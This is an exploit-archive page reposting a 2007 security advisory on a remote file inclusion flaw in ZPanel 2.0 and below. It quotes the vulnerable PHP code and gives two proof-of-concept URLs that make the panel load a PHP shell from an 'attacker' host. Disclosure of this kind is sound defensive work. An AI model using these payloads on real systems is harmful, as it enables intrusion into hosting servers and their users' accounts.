exploit the possibilities
Home Files News &[SERVICES_TAB]About Contact Add New

zpanel.txt

zpanel.txt
Posted Feb 24, 2007
Authored by Hamid Ebadi | Site bugtraq.ir

ZPanel suffers from a remote file inclusion vulnerability.

tags | exploit, remote, file inclusion
SHA-256 | 4a39bf3c9c6b6df1e3441f7a0ffee9ceaada3bbdfb746c94cc410f462ed867b6

zpanel.txt

Change Mirror Download
ZPanel Remote File Inclusion
ZPanel is a hosting control panel used by web hosts to give their users a friendly interface
to manage any aspects of their hosting or account information.
ZPanel is an open source project and runs on Windows and Linux.
zpanel tested on :
Windows : 2000 Adv. Server,2000 Server,2003 Ent. Server,XP Professional
Linux : SuSE 9.1, 9.2 ,Debian,Fedora 2,FreeBSD 4.9, 5.2.1,Mandrake 9.1, 9.2,Redhat 7.9, 9


http://www.thezpanel.com
http://www.zee-way.com
http://forge.novell.com/modules/xfmod/project/?zpanel

Credit:
The information has been provided by Hamid Ebadi
The original article can be found at : http://www.bugtraq.ir/articles/advisory/ZPanel-Remote-File-Inclusion/2

Vulnerable Systems:
Version: ZPanel 2.0 (and below)
(also tested on ZPanel-v25-BETA11 )


Description:
Input passed to the "page" parameter in "zpanel.php" and "body" parameter in "templates/ZPanelV2/template.php" isn't properly verified, before it is used to include files.
This can be exploited to include arbitrary files from remote and local resources.

Vulnerable Code :

http://[host]/ZPanel/zpanel.php

// zpanel.php line : 21
if (!isset($_GET['page'])){
$body = "main.php";
}else{
$body = $_GET['page'] . ".php";
}
// ...

// line : 38
//Loading template
$templatefolder = $row_Config['template'];
include('templates/'.$templatefolder.'/template.php');



http://[host]/ZPanel/templates/ZPanelV2/template.php

// template.php
// line : 63

<?php include ($body); ?>




POC exploit :
http://[host]/ZPanel/zpanel.php?page=http://attacker/phpshell.txt?
http://[host]/ZPanel/templates/ZPanelV2/template.php?body=http://attacker/phpshell.txt?

# http://www.bugtraq.ir
Login or Register to add favorites

File Archive:

October 2022

  • Su
  • Mo
  • Tu
  • We
  • Th
  • Fr
  • Sa
  • 1
    Oct 1st
    10 Files
  • 2
    Oct 2nd
    0 Files
  • 3
    Oct 3rd
    12 Files
  • 4
    Oct 4th
    15 Files
  • 5
    Oct 5th
    18 Files
  • 6
    Oct 6th
    16 Files
  • 7
    Oct 7th
    0 Files
  • 8
    Oct 8th
    0 Files
  • 9
    Oct 9th
    0 Files
  • 10
    Oct 10th
    0 Files
  • 11
    Oct 11th
    0 Files
  • 12
    Oct 12th
    0 Files
  • 13
    Oct 13th
    0 Files
  • 14
    Oct 14th
    0 Files
  • 15
    Oct 15th
    0 Files
  • 16
    Oct 16th
    0 Files
  • 17
    Oct 17th
    0 Files
  • 18
    Oct 18th
    0 Files
  • 19
    Oct 19th
    0 Files
  • 20
    Oct 20th
    0 Files
  • 21
    Oct 21st
    0 Files
  • 22
    Oct 22nd
    0 Files
  • 23
    Oct 23rd
    0 Files
  • 24
    Oct 24th
    0 Files
  • 25
    Oct 25th
    0 Files
  • 26
    Oct 26th
    0 Files
  • 27
    Oct 27th
    0 Files
  • 28
    Oct 28th
    0 Files
  • 29
    Oct 29th
    0 Files
  • 30
    Oct 30th
    0 Files
  • 31
    Oct 31st
    0 Files

Top Authors In Last 30 Days

File Tags

Systems

packet storm

© 2022 Packet Storm. All rights reserved.

Hosting By
Rokasec
close